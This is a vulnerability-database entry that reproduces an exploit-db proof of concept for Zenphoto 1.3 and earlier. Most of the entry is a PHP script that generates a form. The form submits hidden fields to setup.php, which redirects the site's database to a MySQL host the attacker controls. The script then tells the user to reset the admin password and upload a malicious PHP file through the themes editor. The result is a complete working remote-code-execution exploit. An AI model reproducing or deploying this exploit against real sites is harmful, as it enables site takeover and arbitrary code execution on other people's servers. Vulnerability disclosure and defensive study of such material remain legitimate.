Zenphoto - Config Update and Command Execute Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Zenphoto Config Update and Command Execute Vulnerability - Remote Code Executio


                                                &#60;?php
/*

  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ &#60; 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-26-zenphoto-config-update-and-command-execute-vulnerability/

Abysssec Inc Public Advisory
 
 
  Title            :  Zenphoto Config Update and Command Execute Vulnerability
  Affected Version :  Zenphoto &#60;= 1.3
  Discovery        :  www.abysssec.com
  Vendor           :  http://www.zenphoto.org
 
*/


$path = &#34;http://www.site.com/zenphoto&#34; .&#34;/&#34; . &#34;zp-core/setup.php&#34;;
$new_mysql_user = &#34;abysssec&#34;;
$new_mysql_pass = &#34;absssec&#34;;
$new_mysql_host = &#34;abysssec.com&#34;;
$new_mysql_database = &#34;abysssec_database&#34;;
$new_mysql_prefix = &#34;zp_&#34;;
echo &#34;&#60;html&#62;&#60;head&#62;&#60;/head&#62;
&#60;style&#62;
body {font-family:tahoma;font-size:14px}
&#60;/style&#62;

&#60;body&#62;&#34;;
echo &#34;Zen Photo Image Gallery 1.3 Reset admin Password &#60;br&#62;
	By : Abysssec @ Inc &#60;br&#62;www.Abysssec.com&#60;hr&#62;
	&#60;form method=&#39;POST&#39; action=&#39;$path&#39; &#62;
	&#60;input type=hidden name=&#39;mysql&#39; value=&#39;yes&#39;&#62;
	&#60;input type=hidden name=&#39;mysql_user&#39; value=&#39;$new_mysql_user&#39;&#62;
	&#60;input type=hidden name=&#39;mysql_pass&#39; value=&#39;$new_mysql_pass&#39;&#62;
	&#60;input type=hidden name=&#39;mysql_host&#39; value=&#39;$new_mysql_host&#39;&#62;
	&#60;input type=hidden name=&#39;mysql_database&#39; value=&#39;$new_mysql_database&#39;&#62;
	&#60;input type=hidden name=&#39;mysql_prefix&#39; value=&#39;$new_mysql_prefix&#39;&#62;
	After click on below , if target will can connect to your Mysql_Host :&#60;br&#62;
	You Must view &#39;GO !&#39; Messege ...&#60;br&#62;
	Click on & wait ....
	&#60;br&#62; Then , You need to set your admin user and password.&#60;br&#62;&#60;hr&#62;
	Upload file:&#60;br&#62;
	you can Edit themes From themes Tab and Upload your malignant PHP file.&#60;br&#62;
	&#60;input type=submit value=&#39;Send Your Setting &#39;&#62;
	&#60;/form&#62;
	&#34;;
echo &#34;&#60;/body&#62;&#60;/html&#62;&#34;;
?&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1